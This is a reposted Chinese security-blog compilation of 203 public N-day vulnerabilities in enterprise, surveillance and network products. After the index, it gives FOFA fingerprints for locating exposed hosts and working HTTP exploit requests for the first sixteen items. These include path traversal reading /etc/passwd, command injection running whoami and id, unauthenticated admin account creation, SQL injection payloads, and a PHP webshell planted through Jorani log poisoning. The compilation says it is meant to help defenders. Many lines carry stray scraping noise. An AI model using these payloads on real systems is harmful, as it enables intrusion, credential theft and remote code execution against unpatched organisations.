互联网公开漏洞整理202309-202406--转载

admin

互联网公开漏洞整理202309-202406
道一安全 2024-06-05 07:41 北京
以下文章来源于网络安全新视界 ，作者网络安全新视界

% w( X  b! v  p$ {% }% o# v/ X& ]7 u发文目的：Nday漏洞的利用是安全攻防占比较大的攻击方式，希望文章对大家的防守提供一定帮助。防守同学可根据本文内容进行风险排查。

' u& m1 c& `5 I5 e; G漏洞来源：文章涵盖2023年9月至2024年5月国内外公开的高危害漏洞POC共203个，均来自于互联网其他公众号或者网站，由网络安全新视界团队进行整理发布。

* k  w* H4 V; p* W7 a* L安全补丁：所有的漏洞均为公开漏洞，补丁或漏洞修复方案请联系产品厂家。
3 m3 b* e: b7 T7 i# o0 l
6 Q, F& C' W+ J2 K文章内容：因受篇幅限制，个别漏洞POC由于过长，统一使用PAYLOAD字样代替，如需完整POC请自行搜索。

$ N6 P: B6 P' M合法权益：如文章内容侵犯某方合法权益，请后台联系网络安全新视界团队对相关内容进行删除。

6 G; F" C! W# `9 q: P# D
声明
0 _0 C! o! Y# }- n" v5 \3 i1 @# ?% q+ y
! ~6 ^2 j6 N3 C为简化流程，方便大家翻阅，固不设置“回复再给完整列表”。本文章就是当前最全文章，使用时F12搜索关键词即可。
; ]% g; w# [/ ~
( i3 k# X/ C  |: b% V! P有需要的可以收藏此文。也可以关注本公众号（网络安全新视界）。
) R6 w! _' ]9 {- c
+ W, {1 M  b  Z, F$ `

) K0 Y4 w" I1 y8 e& h目录

01
* Z8 q) L/ m2 N
1. StarRocks MPP数据库未授权访问
2. Casdoor系统static任意文件读取
3. EasyCVR智能边缘网关 userlist 信息泄漏
' U# W/ ^. o1 m) l% ^4. EasyCVR视频管理平台存在任意用户添加
5. NUUO NVR 视频存储管理设备远程命令执行
6 \0 D$ F+ `$ g; G1 t  {8 _6. 深信服 NGAF 任意文件读取
% B9 k. x; e6 s& @3 J7. 鸿运主动安全监控云平台任意文件下载
8. 斐讯 Phicomm 路由器RCE
9. 稻壳CMS keyword 未授权SQL注入
5 i4 h% B% ]$ V4 G0 M9 `10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
% Q# I+ d1 `8 t# x- L# B11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
12. Jorani < 1.0.2 远程命令执行
2 r7 C5 T* P* Q) B13. 红帆iOffice ioFileDown任意文件读取
14. 华夏ERP（jshERP）敏感信息泄露
15. 华夏ERP getAllList信息泄露
! C7 i7 S& R. q; ?/ ?16. 红帆HFOffice医微云SQL注入
4 P  j5 w+ x5 k" A17. 大华 DSS itcBulletin SQL 注入
18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
9 f  L9 V: u9 n5 f19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
20. 大华ICC智能物联综合管理平台任意文件读取
21. 大华ICC智能物联综合管理平台random远程代码执行
) ?3 b1 z# S% p22. 大华ICC智能物联综合管理平台 log4j远程代码执行
) j# l4 r4 f8 f. o23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
24. 用友NC 6.5 accept.jsp任意文件上传
. E/ q4 x! W* s25. 用友NC registerServlet JNDI 远程代码执行
26. 用友NC linkVoucher SQL注入
" ]0 ?3 Q$ l* v/ q27. 用友 NC showcontent SQL注入
% J/ E; s- |7 W3 _' }" `" [28. 用友NC grouptemplet 任意文件上传
29. 用友NC down/bill SQL注入
30. 用友NC importPml SQL注入
31. 用友NC runStateServlet SQL注入
32. 用友NC complainbilldetail SQL注入
33. 用友NC downTax/download SQL注入
9 r- y' y. `7 l: b) r* F34. 用友NC warningDetailInfo接口SQL注入
7 J; K/ w1 e. w5 G: B35. 用友NC-Cloud importhttpscer任意文件上传
36. 用友NC-Cloud soapFormat XXE
" D1 L7 @  ^. V+ {6 f) ^37. 用友NC-Cloud IUpdateService XXE
38. 用友U8 Cloud smartweb2.RPC.d XXE
& v  H7 Q: J  V7 c39. 用友U8 Cloud RegisterServlet SQL注入
40. 用友U8-Cloud XChangeServlet XXE
1 W$ k$ x. j1 Y" Z41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
3 Z6 o' e% S1 I' B! [42. 用友GRP-U8 SmartUpload01 文件上传
43. 用友GRP-U8 userInfoWeb SQL注入致RCE
* K& d" }& z2 }* ?1 G) n44. 用友GRP-U8 bx_dj_check.jsp SQL注入
45. 用友GRP-U8 ufgovbank XXE
# O6 U' i" r' R9 G46. 用友GRP-U8 sqcxIndex.jsp SQL注入
47. 用友GRP A++Cloud 政府财务云 任意文件读取
48. 用友U8 CRM swfupload 任意文件上传
49. 用友U8 CRM系统uploadfile.php接口任意文件上传
50. QDocs Smart School 6.4.1 filterRecords SQL注入
2 J' A! V$ }  }  \  ]& X51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
" S+ N8 h" ^/ {1 S! \- i! Y52. 泛微E-Office json_common.php sql注入
53. 迪普 DPTech VPN Service 任意文件上传
+ U: q) X8 ~* Y1 K54. 畅捷通T+ getstorewarehousebystore 远程代码执行
55. 畅捷通T+ getdecallusers信息泄露
: K! u& e2 ~  Q56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
57. 畅捷通T+ keyEdit.aspx SQL注入
58. 畅捷通T+ KeyInfoList.aspx sql注入
- A% `& n- I. F59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
60. 百卓Smart管理平台 importexport.php SQL注入
  M3 F$ \, ]+ ^8 u* o61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
62. IP-guard WebServer 远程命令执行
63. IP-guard WebServer任意文件读取
64. 捷诚管理信息系统CWSFinanceCommon SQL注入
65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
67. 万户ezOFFICE wpsservlet任意文件上传
68. 万户ezOFFICE wf_printnum.jsp SQL注入
# D6 e8 w0 i0 m% z( v+ y& A. I69. 万户 ezOFFICE contract_gd.jsp SQL注入
1 ^% {4 [( J* n6 C4 m. K! V70. 万户ezEIP success 命令执行
$ ?: @/ m, o/ f& \! g& {, P6 e" L71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
72. 致远OA getAjaxDataServlet XXE
73. GeoServer wms远程代码执行
74. 致远M3-server 6_1sp1 反序列化RCE
& c+ X2 R) ]& b- f75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
76. 新开普掌上校园服务管理平台service.action远程命令执行
4 z, M& f0 w) B8 M3 t0 _1 {$ A77. F22服装管理软件系统UploadHandler.ashx任意文件上传
& {4 w, J( j! i3 N2 N3 ~78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
79. BYTEVALUE 百为流控路由器远程命令执行
80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
83. JeecgBoot testConnection 远程命令执行
84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
85. SysAid On-premise< 23.3.36远程代码执行
86. 日本tosei自助洗衣机RCE
  D, C9 |# A1 i  R87. 安恒明御安全网关aaa_local_web_preview文件上传
6 f2 T. g: H  S  Y1 }1 z88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
89. 致远互联FE协作办公平台editflow_manager存在sql注入
3 a% b% ?( l; w  K8 C4 S90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
92. 海康威视运行管理中心session命令执行
5 r$ w6 L2 j8 T93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
9 `, x1 k2 V' b( N! Y+ I94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
% H7 a1 h! x7 Y95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
96. Apache OFBiz  18.12.11 groovy 远程代码执行
$ B+ Q8 `. s2 W# J0 H3 r97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
+ i" x+ U  S  K. z8 i5 o! o* b98. SpiderFlow爬虫平台远程命令执行
- I$ ^' e4 R: Q- A5 N99. Ncast盈可视高清智能录播系统busiFacade RCE
3 N( m  b0 ]2 M6 z! @: E4 K8 P% G100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
101. ivanti policy secure-22.6命令注入
% M) V) v( r: Z& R102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
103. Ivanti Pulse Connect Secure VPN XXE
) O0 |  x! ~2 s3 e9 H7 Z5 `* H104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
3 t4 f3 H0 k1 a" N% n* M( H; o8 n105. SpringBlade v3.2.0 export-user SQL 注入
106. SpringBlade dict-biz/list SQL 注入
% J# e+ C1 s- p1 e6 R107. SpringBlade tenant/list SQL 注入
- g- r: }0 a. b2 M9 R108. D-Tale 3.9.0 SSRF
109. Jenkins CLI 任意文件读取
110. Goanywhere MFT 未授权创建管理员
0 p: @0 `+ \( [0 ]2 A# Y/ D111. WordPress Plugin HTML5 Video Player SQL注入
112. WordPress Plugin NotificationX SQL 注入
( ]8 W6 {2 k( f7 a113. WordPress Automatic 插件任意文件下载和SSRF
5 R: j/ J/ U$ L* b- ]114. WordPress MasterStudy LMS插件 SQL注入
115. WordPress Bricks Builder <= 1.9.6 RCE
116. wordpress js-support-ticket文件上传
9 Y6 C% V- C/ r4 x( m+ d117. WordPress LayerSlider插件SQL注入
118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
1 M+ R2 |' w/ {" p4 U" j! ^! w, z119. 北京百绰智能S20后台sysmanageajax.php sql注入
# V+ ]4 W: O' R% W7 I8 F120. 北京百绰智能S40管理平台导入web.php任意文件上传
121. 北京百绰智能S42管理平台userattestation.php任意文件上传
5 \) g* `! v9 J122. 北京百绰智能s200管理平台/importexport.php sql注入
123. Atlassian Confluence 模板注入代码执行
, y# H. I# @0 Q' H  e; @5 U124. 湖南建研工程质量检测系统任意文件上传
125. ConnectWise ScreenConnect身份验证绕过
126. Aiohttp 路径遍历
: j! u. X, J: l$ W  u4 O$ ~3 I127. 广联达Linkworks DataExchange.ashx XXE
128. Adobe ColdFusion 反序列化
129. Adobe ColdFusion 任意文件读取
/ c/ D7 y* o* Z/ H5 t130. Laykefu客服系统任意文件上传
131. Mini-Tmall <=20231017 SQL注入
132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
133. H5 云商城 file.php 文件上传
  m% @* {+ _# T, c3 i5 _134. 网康NS-ASG应用安全网关index.php sql注入
135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
136. NextChat cors SSRF
137. 福建科立迅通信指挥调度平台down_file.php sql注入
+ A# D7 f  U  f138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
" K5 n; \8 y8 `  n/ {; m139. 福建科立讯通信指挥调度平台editemedia.php sql注入
9 ?' f! E6 o! m140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
* O! R5 Y. V  A8 H& l" z2 o* y142. CMSV6车辆监控平台系统中存在弱密码
143. Netis WF2780 v2.1.40144 远程命令执行
, m) R- H' {5 D144. D-Link nas_sharing.cgi 命令注入
" p: E2 c, r5 I' x. v$ @145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
  c+ V: ~8 d1 K- D9 z& Z146. MajorDoMo thumb.php 未授权远程代码执行
147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
) L6 v% Q  Y1 c148. CrushFTP 认证绕过模板注入
149. AJ-Report开源数据大屏存在远程命令执行
150. AJ-Report 1.4.0 认证绕过与远程代码执行
151. AJ-Report 1.4.1 pageList sql注入
152. Progress Kemp LoadMaster 远程命令执行
: N) ^' \, `) s5 Q153. gradio任意文件读取
4 s9 @* K; B3 V. r6 `154. 天维尔消防救援作战调度平台 SQL注入
155. 六零导航页 file.php 任意文件上传
5 [5 ]  d7 C% Y! M+ W156. TBK DVR-4104/DVR-4216 操作系统命令注入
7 n$ F5 l: ~+ a- r4 i: y& D6 N$ Z157. 美特CRM upload.jsp 任意文件上传
158. Mura-CMS-processAsyncObject存在SQL注入
  G8 `8 _6 i8 \159. 英飞达医学影像存档与通信系统 WebJobUpload 任意文件上传
1 s* d- H4 Q. D( X160. Sonatype Nexus Repository 3目录遍历与文件读取
: M3 [  q" @; \, Q) `. n4 _161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
* F& z  }3 C& T. ]162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
2 `# ?/ N: y7 _9 }( I& X163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
  \( d9 g4 o& H8 N( c8 x164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
165. OrangeHRM 3.3.3 SQL 注入
166. 中成科信票务管理平台SeatMapHandler SQL注入
5 f# N( b+ k. ~7 D- z4 H" a167. 精益价值管理系统 DownLoad.aspx任意文件读取
/ v  T/ d6 [( h168. 宏景EHR OutputCode 任意文件读取
5 ^( X* P! D9 ~; L$ Z169. 宏景EHR downlawbase SQL注入
5 d8 n& o2 J1 K) X, E. j170. 宏景EHR DisplayExcelCustomReport 任意文件读取
171. 通天星CMSV6车载定位监控平台 SQL注入
' f/ ?  b) ~! Y9 ^4 s172. DT-高清车牌识别摄像机任意文件读取
0 A1 i; v( C3 S7 {  E173. Check Point 安全网关任意文件读取
: T+ E& `5 C' ^* Q% w+ L+ W174. 金和OA C6 FileDownLoad.aspx 任意文件读取
175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
/ s9 h" `) E# w: r& Y# K: B% o" Q176. 电信网关配置管理系统 rewrite.php 文件上传
. H. k6 z: E& d6 z9 ~; P2 @177. H3C路由器敏感信息泄露
; a/ V7 w3 N* \/ X178. H3C校园网自助服务系统-flexfileupload-任意文件上传
179. 建文工程管理系统存在任意文件读取
5 P4 y( L8 m- [$ _3 m: ]; B180. 帮管客 CRM jiliyu SQL注入
181. 润申科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
) x  B5 U8 w) h5 _  p184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
9 b$ b' F7 a/ k9 L8 r185. 瑞友天翼应用虚拟化系统SQL注入
186. F-logic DataCube3 SQL注入
187. Mura CMS processAsyncObject SQL注入
. t1 m9 E" `9 K% V188. 叁体-佳会视频会议 attachment 任意文件读取
189. 蓝网科技临床浏览系统 deleteStudy SQL注入
/ b8 y( a1 P- J( Z/ y- v0 e190. 短视频矩阵营销系统 poihuoqu 任意文件读取
191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
4 ^6 p6 G2 k2 v: `- G7 F1 S3 O) q194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
196. 河南省风速科技统一认证平台密码重置
1 p6 L9 K1 J! ~" Z* c3 U9 Z197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
198.  阿里云盘 WebDAV 命令注入
199. cockpit系统assetsmanager_upload接口 文件上传
) l! `  \, ]- i; s% z) e7 n200. SeaCMS海洋影视管理系统dmku SQL注入
201. 方正全媒体新闻采编系统 binary SQL注入
202. 微擎系统 AccountEdit任意文件上传
2 [6 b% A) R0 O. L/ v203. 红海云EHR PtFjk 文件上传

9 }0 y; Z  `0 g& I- B; nPOC列表

02
/ c: p4 C. A6 d0 t" H# B8 |1 ~
1 f) E+ }- ~) B2 I# h$ {8 w5 X1. StarRocks MPP数据库未授权访问
FOFA ：title="StarRocks"
GET /mem_tracker HTTP/1.1
1 T) [  b/ |5 ~! uHost: URL
  Z6 b" t! N% b& C  I: g. D8 E

/ W' C+ V1 N' Q+ q5 [- K, E/ a) D2. Casdoor系统static任意文件读取
( o0 C4 B- d" c1 [8 q8 y+ hFOFA ：title="Casdoor"
GET /static/../../../../../../../../../../../etc/passwd HTTP/1.1
( I1 a( X% D8 [) p& O0 p4 HHost: xx.xx.xx.xx:9999
8 g4 P' P" u+ Y- G4 TUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
" Y, g( x9 @: P' y$ lAccept-Encoding: gzip
' [$ M% B1 a7 u9 g& I

3. EasyCVR智能边缘网关 userlist 信息泄漏
FOFA ：title="EasyCVR"
3 K' ^* e4 B  b0 u5 MGET /api/v1/userlist?pageindex=0&pagesize=10 HTTP/1.1
9 S" M! j9 A. C6 D1 BHost: xx.xx.xx.xx
' b) c6 i0 R: R* ^

, z2 V  f! D. S) @4. EasyCVR视频管理平台存在任意用户添加
2 t! \/ g8 Q: j. u% l- s# o% GFOFA ：title="EasyCVR"

6 d7 o& n5 s0 }' d/ a' N1 Npassword更改为自己的密码md5
POST /api/v1/adduser HTTP/1.1
Host: your-ip
$ @7 I9 v' N- ^: cContent-Type: application/x-www-form-urlencoded; charset=UTF-8

' D! d; a8 ?. y' ~name=admin888&username=admin888&password=0e7517141fb53f21ee439b355b5a1d0a&roleid=1

+ r6 U) R0 a' D
5. NUUO NVR 视频存储管理设备远程命令执行
FOFA：title="Network Video Recorder Login"
2 N; V2 f8 z5 `GET /__debugging_center_utils___.php?log=;whoami HTTP/1.1
Host: xx.xx.xx.xx


' A6 n' r( U  R2 C: |$ K6. 深信服 NGAF 任意文件读取
3 B% u1 r, p5 J! f& p* {FOFA：title="SANGFOR | NGAF"
; @: `6 o, V' QGET /svpn_html/loadfile.php?file=/etc/./passwd HTTP/1.1
Host:


& V1 m% _/ H/ {& ]7. 鸿运主动安全监控云平台任意文件下载
FOFA：body="./open/webApi.html"
6 n- k4 A/ ]4 n  ]0 Q2 m" k2 rGET /808gps/MobileAction_downLoad.action?path=/WEB-INF/classes/config/jdbc.properties HTTP/1.1
Host:
7 p8 _; `$ _2 @
* ^  w: f" W* i* Q# P+ P% a6 O
8. 斐讯 Phicomm 路由器RCE
FOFA：icon_hash="-1344736688"
: e( \/ l6 I) c6 U6 E默认账号admin登录后台后，执行操作
: t5 m# i6 v- ePOST /cgi-bin/luci/;stok=bcd6ccd2fa5d212ce6431ca22f10b96d/admin/wifireboot HTTP/1.1
/ x  v& ^/ v! _$ z8 DHost: x.x.x.x
' t0 l5 {  Z2 d( `6 K) u& YCookie: sysauth=第一步登录获取的cookie
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxbgjoytz
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36

------WebKitFormBoundaryxbgjoytz
1 O& J$ e) s. I- `  xContent-Disposition: form-data; name="wifiRebootEnablestatus"
* v. R8 C/ ?2 \+ @9 _- [
%s
------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="wifiRebootrange"

( A" W4 b! |/ |9 w, x12:00; id;
- K1 {% b! s9 N( D0 ]3 f------WebKitFormBoundaryxbgjoytz
" s' K$ t: N% S1 `5 jContent-Disposition: form-data; name="wifiRebootendrange"

%s:
------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="cururl2"
; C( _$ b) h( j' n
# L- \2 E) U" ^8 P+ N  c
- ?/ c3 v! x/ K9 A2 s4 G4 d9 Z% s------WebKitFormBoundaryxbgjoytz--
7 F+ Y, F/ \; A1 i, M! u) Z, U' X

1 b3 H4 b8 O' F( ?3 A  f9. 稻壳CMS keyword 未授权SQL注入
FOFA：app="Doccms"
- h7 O* z! K9 F3 c1 L. H! a; EGET /search/index.php?keyword=1%25%32%37%25%32%30%25%36%31%25%36%65%25%36%34%25%32%30%25%32%38%25%36%35%25%37%38%25%37%34%25%37%32%25%36%31%25%36%33%25%37%34%25%37%36%25%36%31%25%36%63%25%37%35%25%36%35%25%32%38%25%33%31%25%32%63%25%36%33%25%36%66%25%36%65%25%36%33%25%36%31%25%37%34%25%32%38%25%33%30%25%37%38%25%33%37%25%36%35%25%32%63%25%32%38%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%37%35%25%37%33%25%36%35%25%37%32%25%32%38%25%32%39%25%32%39%25%32%63%25%33%30%25%37%38%25%33%37%25%36%35%25%32%39%25%32%39%25%32%39%25%32%33 HTTP/1.1
Host: x.x.x.x
; R# B9 |& y% Q; w6 Z

payload为下列语句的二次Url编码
% N) x3 R+ \3 z
' and (extractvalue(1,concat(0x7e,(select user()),0x7e)))#
8 d3 K- c" I) d9 K! x) H/ Y7 ~
+ X/ z- D" [. l; P10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
4 |0 u) q6 F# s4 dFOFA：icon_hash="953405444"

% u  p8 B2 |. O8 i% y文件上传后响应中包含上传文件的路径
POST /eis/service/api.aspx?action=saveImg HTTP/1.1
  i. C. P" W( _: nHost: x.x.x.x:xx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
% X" S7 m; B- }Content-Length: 197
7 S' P7 F# b* z+ A/ Y9 j5 dAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
2 B' |" \# ]: U' LAccept-Language: zh-CN,zh;q=0.9
; P( q* ^5 m/ o( YConnection: close
# F1 `3 e; Z7 c; XContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryxdgaqmqu
+ |2 o8 O5 Y; c' I
------WebKitFormBoundaryxdgaqmqu
- l; k: ], M( k$ B( {2 c7 ?Content-Disposition: form-data; name="file"filename="icfitnya.txt"
Content-Type: text/html

jmnqjfdsupxgfidopeixbgsxbf
------WebKitFormBoundaryxdgaqmqu--


11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
0 n& Z* m8 X! ?* XFOFA：icon_hash="953405444" || app="Landray-EIS智慧协同平台"
' M2 y. u! R+ E3 H8 v# WGET /dossier/doc_fileedit_word.aspx?recordid=1'%20and%201=@@version--+&edittype=1,1 HTTP/1.1
1 h& _7 F7 n. g* d" NHost: 127.0.0.1
Pragma: no-cache
Cache-Control: no-cache
9 a1 G6 G( I5 ~  u0 Z  b# vUpgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
7 g" g9 G( J% c7 q1 {% r# eAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
+ p2 Z1 D1 U6 G: l' `4 ~$ mConnection: close


12. Jorani < 1.0.2 远程命令执行
1 D; E8 k# R: r+ w+ X8 kFOFA：title="Jorani"
第一步先拿到cookie
GET /session/login HTTP/1.1
; Q/ B/ Y) P$ V5 h- IHost: 192.168.190.30
0 s1 j/ ~4 W9 a2 M$ N/ q, U4 pUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
Connection: close
Accept-Encoding: gzip


响应中csrf_cookie_jorani用于后续请求
HTTP/1.1 200 OK
Connection: close
0 H+ o% w, h# ?" ?  N+ g" k# o( u: ACache-Control: no-store, no-cache, must-revalidate
# p! b: B2 C+ k7 M: u1 E& ?4 {Content-Type: text/html; charset=UTF-8
Date: Tue, 24 Oct 2023 09:34:28 GMT
3 m# M+ r  P+ V! \' vExpires: Thu, 19 Nov 1981 08:52:00 GMT
# m) s  }; q" Z0 y! q# l2 |- ^5 L4 KLast-Modified: Tue, 24 Oct 2023 09:34:28 GMT
Pragma: no-cache
7 |  U! x" ]  p( [  y! Z' wServer: Apache/2.4.54 (Debian)
$ `8 p* k. [# G$ B, y% |Set-Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/
Set-Cookie: jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/; HttpOnly
! A) j! z5 `: k, o- U8 fVary: Accept-Encoding
9 k( r7 X! M3 d  d* `# R7 F
3 `) f$ I" X# N! i, f
8 E; E& @' ^3 [% q: `7 _3 i7 `0 VPOST请求，执行函数并进行base64编码
POST /session/login HTTP/1.1
1 Q2 A% A. F% y5 sHost: 192.168.190.30
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
! h7 H7 s1 y+ q; y0 QConnection: close
Content-Length: 252
! D% ~5 l+ o% V, J9 }0 OContent-Type: application/x-www-form-urlencoded
! L9 Y0 s; f* n- VCookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
Accept-Encoding: gzip
9 @: V& L; j0 D6 Y9 M- }  p  j* O
7 C1 R) d: k6 l6 L  c- dcsrf_test_jorani=6ca560f2b0baf3cda87c818a4a15dc77&last_page=session%2Flogin&language=..%2F..%2Fapplication%2Flogs&login=<?php if(isset($_SERVER['HTTP_K1SYJPMHLU4Z'])){system(base64_decode($_SERVER['HTTP_K1SYJPMHLU4Z']));} ?>&CipheredValue=DummyPasswor



+ H! X. k, S7 C- ^1 @8 b- ]向靶场发送如下请求，执行id命令，请求头中的ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=是命令base64编码后的字符串
GET /pages/view/log-2023-10-24 HTTP/1.1
% o% i0 J& j( A) F9 g1 G" s$ A6 ?Host: 192.168.190.30
# }0 N0 ~7 V+ E5 lUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
# P  g/ e  T2 g$ `8 mConnection: close
, A0 t5 K, ?8 G$ S, ]5 vCookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
3 U! |, m+ n6 I: x1 G: s* p# SK1SYJPMHLU4Z: ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=
X-REQUESTED-WITH: XMLHttpRequest
$ a' V- N0 t7 RAccept-Encoding: gzip

# Y/ [/ _- a7 ~- |; M
* Y$ T5 q; J9 W- W. f6 h13. 红帆iOffice ioFileDown任意文件读取
: Z4 T! }- B; Z! rFOFA：app="红帆-ioffice"
" @% G6 ?# C$ h6 UGET /ioffice/prg/interface/ioFileDown.aspx?sFilePath=c:/windows/win.ini HTTP/1.1
  t( ]4 Q" s- I) m3 X0 MHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
2 o% T  u. P% Q+ T, I' T/ @Connection: close
- M; ^+ ]3 @# p4 vAccept: */*
Accept-Encoding: gzip


$ }# Y* m7 t4 A; E# a/ u( M6 q14. 华夏ERP（jshERP）敏感信息泄露
4 G2 R( x/ m4 M, j1 dFOFA：body="jshERP-boot"
% X# C( R) w9 W: W8 R+ Q8 s4 w泄露内容包括用户名密码
$ B9 o/ m& A- w5 p7 v( X% BGET /jshERP-boot/user/getAllList;.ico HTTP/1.1
$ |+ ^( c# w- SHost: x.x.x.x
$ P$ `; A. _0 w; n0 k. q9 ZUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
Connection: close
% G! O9 ?9 l  ?  Z- {Accept: */*
Accept-Language: en
1 t/ l8 }% S6 F) s3 G/ P# ]8 lAccept-Encoding: gzip

9 L9 v( H0 G( {8 a' s* n. F/ v
15. 华夏ERP getAllList信息泄露
CVE-2024-0490
+ _2 M/ i" R: j7 t! b1 rFOFA：body="jshERP-boot"
8 j3 p) ?7 B$ v0 [) q泄露内容包括用户名密码
GET /jshERP-boot/user/a.ico/../getAllList HTTP/1.1
Host: 192.168.40.130:100
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
( k9 H2 y. o4 Q+ [/ jConnection: close
Accept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
Accept-Language: en
sec-ch-ua-platform: Windows
Accept-Encoding: gzip


16.  红帆HFOffice医微云SQL注入
FOFA：title="HFOffice"
poc中调用函数计算1234的md5值
GET /api/switch-value/list?sorts=%5B%7B%22Field%22:%221-CONVERT(VARCHAR(32),%20HASHBYTES(%27MD5%27,%20%271234%27),%202);%22%7D%5D&conditions=%5B%5D&_ZQA_ID=4dc296c6c69905a7 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
Connection: close
7 i! W3 I- ^$ ?/ g: x1 ~; FAccept: */*
